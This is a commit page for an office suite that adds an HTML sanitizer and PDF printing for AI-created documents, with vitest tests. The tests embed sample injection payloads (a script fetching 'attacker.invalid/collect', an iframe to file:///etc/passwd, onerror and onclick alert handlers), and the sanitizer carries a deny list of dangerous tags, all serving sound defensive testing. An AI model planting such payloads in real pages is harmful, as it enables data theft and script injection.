Sync snapshot (2026-08-24) (#143)
- Add Word-parity Docs shortcuts, shape-text formatting, and safer AI-created documents - Add selection-scoped Ask AI, right-to-left grids, active row and column highlighting, and full-workbook Find improvements in Sheets - Add local OCR text layers and persistent AI chat history in PDF - Add selection Ask AI, effects editing, true vertical text, and rendering fidelity improvements in Slides - Improve Korean font metrics and Office document layout fidelity across the suite - Report an OS-locale country dimension in opt-out usage analytics with an updated privacy disclosure Co-authored-by: GenOffice <merrick-2002@users.noreply.github.com>
This commit is contained in:
co-authored by
GenOffice
parent
cc8cff49a0
commit
5073e4d36b
@@ -16,5 +16,8 @@
|
||||
"devDependencies": {
|
||||
"typescript": "^5.9.3",
|
||||
"vitest": "^4.1.0"
|
||||
},
|
||||
"dependencies": {
|
||||
"parse5": "^8.0.1"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -32,3 +32,10 @@ export {
|
||||
type FetchWithSsrfGuardOptions,
|
||||
} from './safe-remote-url'
|
||||
export { fetchRemoteImage, remoteImageHeaders } from './remote-image'
|
||||
export {
|
||||
buildPrintableHtml,
|
||||
printHtmlToPdf,
|
||||
sanitizePrintableBody,
|
||||
type PrintableHtml,
|
||||
type PrintWindow,
|
||||
} from './print-html-pdf'
|
||||
|
||||
@@ -0,0 +1,197 @@
|
||||
/// Render a standalone HTML document to PDF bytes in a hidden window —
|
||||
/// shared by the AI create_document flows (docs / pdf chat creating a new
|
||||
/// PDF file). The caller supplies the window so this package keeps its
|
||||
/// type-only Electron dependency; use a sandboxed, scripting-disabled
|
||||
/// window (`{ show: false, webPreferences: { sandbox: true, javascript: false } }`).
|
||||
import { mkdtemp, rm, writeFile } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import type { BrowserWindow } from 'electron'
|
||||
import { parseFragment, serialize } from 'parse5'
|
||||
|
||||
export type PrintWindow = Pick<BrowserWindow, 'loadFile' | 'destroy'> & {
|
||||
webContents: Pick<BrowserWindow['webContents'], 'printToPDF'>
|
||||
}
|
||||
|
||||
declare const printableHtmlBrand: unique symbol
|
||||
export type PrintableHtml = string & { readonly [printableHtmlBrand]: true }
|
||||
|
||||
function escapeHtmlText(text: string): string {
|
||||
return text.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>')
|
||||
}
|
||||
|
||||
const ALLOWED_BODY_TAGS = new Set([
|
||||
'h1',
|
||||
'h2',
|
||||
'h3',
|
||||
'h4',
|
||||
'h5',
|
||||
'h6',
|
||||
'p',
|
||||
'ul',
|
||||
'ol',
|
||||
'li',
|
||||
'strong',
|
||||
'em',
|
||||
'u',
|
||||
's',
|
||||
'a',
|
||||
'br',
|
||||
'table',
|
||||
'thead',
|
||||
'tbody',
|
||||
'tr',
|
||||
'th',
|
||||
'td',
|
||||
'pre',
|
||||
'code',
|
||||
'blockquote',
|
||||
'formula',
|
||||
])
|
||||
|
||||
/** Elements whose contents must not be salvaged as printable text. */
|
||||
const DROP_WITH_CONTENT = new Set([
|
||||
'script',
|
||||
'style',
|
||||
'iframe',
|
||||
'frame',
|
||||
'frameset',
|
||||
'object',
|
||||
'embed',
|
||||
'link',
|
||||
'meta',
|
||||
'base',
|
||||
'form',
|
||||
'template',
|
||||
'noscript',
|
||||
'svg',
|
||||
'math',
|
||||
])
|
||||
|
||||
interface ParsedNode {
|
||||
nodeName: string
|
||||
tagName?: string
|
||||
attrs?: Array<{ name: string; value: string }>
|
||||
childNodes?: ParsedNode[]
|
||||
parentNode?: ParsedParent
|
||||
}
|
||||
|
||||
interface ParsedParent extends ParsedNode {
|
||||
childNodes: ParsedNode[]
|
||||
}
|
||||
|
||||
function sanitizeChildren(parent: ParsedParent): void {
|
||||
const safe: ParsedNode[] = []
|
||||
for (const node of parent.childNodes) {
|
||||
if (node.nodeName === '#text') {
|
||||
node.parentNode = parent
|
||||
safe.push(node)
|
||||
continue
|
||||
}
|
||||
if (node.nodeName === '#comment') continue
|
||||
|
||||
const tag = node.tagName?.toLowerCase()
|
||||
if (!tag || DROP_WITH_CONTENT.has(tag)) continue
|
||||
if (node.childNodes) sanitizeChildren(node as ParsedParent)
|
||||
|
||||
if (ALLOWED_BODY_TAGS.has(tag)) {
|
||||
node.attrs = []
|
||||
node.parentNode = parent
|
||||
safe.push(node)
|
||||
} else {
|
||||
for (const child of node.childNodes ?? []) {
|
||||
child.parentNode = parent
|
||||
safe.push(child)
|
||||
}
|
||||
}
|
||||
}
|
||||
parent.childNodes = safe
|
||||
}
|
||||
|
||||
/** Keep only the restricted document tags and strip every attribute/URL. */
|
||||
export function sanitizePrintableBody(bodyHtml: string): string {
|
||||
const fragment = parseFragment(bodyHtml)
|
||||
sanitizeChildren(fragment as unknown as ParsedParent)
|
||||
return serialize(fragment)
|
||||
}
|
||||
|
||||
// Print stylesheet, not UI chrome: document output must render identically in
|
||||
// both app themes, so the colors stay hardcoded (CLAUDE.md theming rule 4).
|
||||
const PRINT_CSS = `
|
||||
body {
|
||||
font-family: 'Helvetica Neue', Helvetica, Arial, 'PingFang SC', 'Hiragino Sans GB',
|
||||
'Microsoft YaHei', 'Noto Sans CJK SC', sans-serif;
|
||||
font-size: 11pt;
|
||||
line-height: 1.5;
|
||||
color: #1a1a1a;
|
||||
margin: 0;
|
||||
}
|
||||
h1 { font-size: 20pt; line-height: 1.3; margin: 0 0 12pt; }
|
||||
h2 { font-size: 16pt; line-height: 1.3; margin: 16pt 0 8pt; }
|
||||
h3 { font-size: 13pt; line-height: 1.3; margin: 14pt 0 6pt; }
|
||||
h4, h5, h6 { font-size: 11pt; margin: 12pt 0 4pt; }
|
||||
p { margin: 0 0 8pt; }
|
||||
ul, ol { margin: 0 0 8pt; padding-left: 22pt; }
|
||||
li { margin: 0 0 3pt; }
|
||||
table { border-collapse: collapse; margin: 0 0 10pt; width: 100%; }
|
||||
th, td { border: 1pt solid #999; padding: 3pt 6pt; text-align: left; vertical-align: top; }
|
||||
th { background: #f0f0f0; }
|
||||
pre {
|
||||
font-family: Consolas, Menlo, monospace;
|
||||
font-size: 9.5pt;
|
||||
background: #f5f5f5;
|
||||
border: 1pt solid #ddd;
|
||||
padding: 6pt 8pt;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-word;
|
||||
margin: 0 0 8pt;
|
||||
}
|
||||
blockquote { border-left: 3pt solid #ccc; color: #555; margin: 0 0 8pt; padding: 0 0 0 10pt; }
|
||||
`
|
||||
|
||||
const PRINT_CSP =
|
||||
"default-src 'none'; style-src 'unsafe-inline'; base-uri 'none'; form-action 'none'; " +
|
||||
"frame-src 'none'; object-src 'none'; connect-src 'none'"
|
||||
|
||||
/** Sanitize an AI-generated restricted-HTML body and wrap it in a printable page. */
|
||||
export function buildPrintableHtml(title: string, bodyHtml: string): PrintableHtml {
|
||||
return [
|
||||
'<!DOCTYPE html>',
|
||||
'<html>',
|
||||
'<head>',
|
||||
'<meta charset="utf-8">',
|
||||
`<meta http-equiv="Content-Security-Policy" content="${PRINT_CSP}">`,
|
||||
`<title>${escapeHtmlText(title)}</title>`,
|
||||
`<style>${PRINT_CSS}</style>`,
|
||||
'</head>',
|
||||
`<body>${sanitizePrintableBody(bodyHtml)}</body>`,
|
||||
'</html>',
|
||||
].join('\n') as PrintableHtml
|
||||
}
|
||||
|
||||
/**
|
||||
* Load the HTML in the supplied hidden window and print it to A4 PDF bytes.
|
||||
* The HTML goes through a temp file (data: URLs truncate long documents);
|
||||
* the window is destroyed and the temp dir removed in every outcome.
|
||||
*/
|
||||
export async function printHtmlToPdf(
|
||||
html: PrintableHtml,
|
||||
createWindow: () => PrintWindow,
|
||||
): Promise<Buffer> {
|
||||
const workDir = await mkdtemp(join(tmpdir(), 'genoffice-ai-doc-'))
|
||||
let printWin: PrintWindow | undefined
|
||||
try {
|
||||
printWin = createWindow()
|
||||
const htmlPath = join(workDir, 'print.html')
|
||||
await writeFile(htmlPath, html, 'utf8')
|
||||
await printWin.loadFile(htmlPath)
|
||||
return await printWin.webContents.printToPDF({
|
||||
pageSize: 'A4',
|
||||
printBackground: true,
|
||||
margins: { top: 0.6, bottom: 0.6, left: 0.6, right: 0.6 },
|
||||
})
|
||||
} finally {
|
||||
printWin?.destroy()
|
||||
await rm(workDir, { recursive: true, force: true })
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
import { readFile } from 'node:fs/promises'
|
||||
import { existsSync, readdirSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { dirname } from 'node:path'
|
||||
import { describe, expect, it, vi } from 'vitest'
|
||||
import {
|
||||
buildPrintableHtml,
|
||||
printHtmlToPdf,
|
||||
sanitizePrintableBody,
|
||||
type PrintWindow,
|
||||
} from '../src/print-html-pdf'
|
||||
|
||||
describe('buildPrintableHtml', () => {
|
||||
it('escapes the title, sanitizes the body, and installs a restrictive CSP', () => {
|
||||
const html = buildPrintableHtml('<A & B>', '<h1>Title</h1><p>Body</p>')
|
||||
expect(html).toContain('<title><A & B></title>')
|
||||
expect(html).toContain('<body><h1>Title</h1><p>Body</p></body>')
|
||||
expect(html).toContain(`default-src 'none'`)
|
||||
expect(html).toContain(`form-action 'none'`)
|
||||
expect(html).toContain('<style>')
|
||||
})
|
||||
|
||||
it('removes resource-loading tags, active content, URLs, and attributes', () => {
|
||||
const html = buildPrintableHtml(
|
||||
'Safe',
|
||||
[
|
||||
'<meta http-equiv="refresh" content="0;url=https://attacker.invalid">',
|
||||
'<style>@import "https://attacker.invalid/style.css";</style>',
|
||||
'<script>fetch("https://attacker.invalid/collect")</script>',
|
||||
'<iframe src="file:///etc/passwd"></iframe>',
|
||||
'<img src="http://127.0.0.1/private.png" onerror="alert(1)">',
|
||||
'<h1 onclick="alert(1)" style="background:url(https://attacker.invalid)">Report</h1>',
|
||||
'<p><a href="https://attacker.invalid" data-secret="x">source</a></p>',
|
||||
].join(''),
|
||||
)
|
||||
expect(html).not.toContain('attacker.invalid')
|
||||
expect(html).not.toContain('127.0.0.1')
|
||||
expect(html).not.toContain('file:///')
|
||||
expect(html).not.toContain('<script')
|
||||
expect(html).not.toContain('<iframe')
|
||||
expect(html).not.toContain('<img')
|
||||
expect(html).not.toContain('onclick')
|
||||
expect(html).not.toContain('data-secret')
|
||||
expect(html).toContain('<h1>Report</h1>')
|
||||
expect(html).toContain('<a>source</a>')
|
||||
})
|
||||
})
|
||||
|
||||
describe('sanitizePrintableBody', () => {
|
||||
it('keeps the restricted document structure and unwraps unknown containers', () => {
|
||||
expect(
|
||||
sanitizePrintableBody(
|
||||
'<section><h2>Heading</h2><p>Text <strong>bold</strong><formula>x^2</formula></p></section>',
|
||||
),
|
||||
).toBe('<h2>Heading</h2><p>Text <strong>bold</strong><formula>x^2</formula></p>')
|
||||
})
|
||||
})
|
||||
|
||||
function fakeWindow(over: Partial<PrintWindow['webContents']> = {}) {
|
||||
const seen: { html?: string; dir?: string } = {}
|
||||
const win = {
|
||||
loadFile: vi.fn(async (path: string) => {
|
||||
seen.dir = dirname(path)
|
||||
seen.html = await readFile(path, 'utf8')
|
||||
}),
|
||||
destroy: vi.fn(),
|
||||
webContents: {
|
||||
printToPDF: vi.fn(async () => Buffer.from('%PDF-fake')),
|
||||
...over,
|
||||
},
|
||||
} as unknown as PrintWindow
|
||||
return { win, seen }
|
||||
}
|
||||
|
||||
describe('printHtmlToPdf', () => {
|
||||
it('loads the HTML from a temp file, prints, and cleans up', async () => {
|
||||
const { win, seen } = fakeWindow()
|
||||
const html = buildPrintableHtml('Test', '<p>hi</p>')
|
||||
const bytes = await printHtmlToPdf(html, () => win)
|
||||
expect(bytes.toString()).toBe('%PDF-fake')
|
||||
expect(seen.html).toBe(html)
|
||||
expect(win.destroy).toHaveBeenCalledOnce()
|
||||
expect(seen.dir && existsSync(seen.dir)).toBe(false)
|
||||
})
|
||||
|
||||
it('destroys the window and removes the temp dir when printing fails', async () => {
|
||||
const { win, seen } = fakeWindow({
|
||||
printToPDF: vi.fn(async () => Promise.reject(new Error('print failed'))),
|
||||
})
|
||||
await expect(printHtmlToPdf(buildPrintableHtml('Test', ''), () => win)).rejects.toThrow(
|
||||
'print failed',
|
||||
)
|
||||
expect(win.destroy).toHaveBeenCalledOnce()
|
||||
expect(seen.dir && existsSync(seen.dir)).toBe(false)
|
||||
})
|
||||
|
||||
it('removes the temp dir when the window cannot be created', async () => {
|
||||
const leftovers = () => readdirSync(tmpdir()).filter((d) => d.startsWith('genoffice-ai-doc-'))
|
||||
const before = leftovers().length
|
||||
await expect(
|
||||
printHtmlToPdf(buildPrintableHtml('Test', ''), () => {
|
||||
throw new Error('no window')
|
||||
}),
|
||||
).rejects.toThrow('no window')
|
||||
expect(leftovers().length).toBe(before)
|
||||
})
|
||||
})
|
||||
Reference in New Issue
Block a user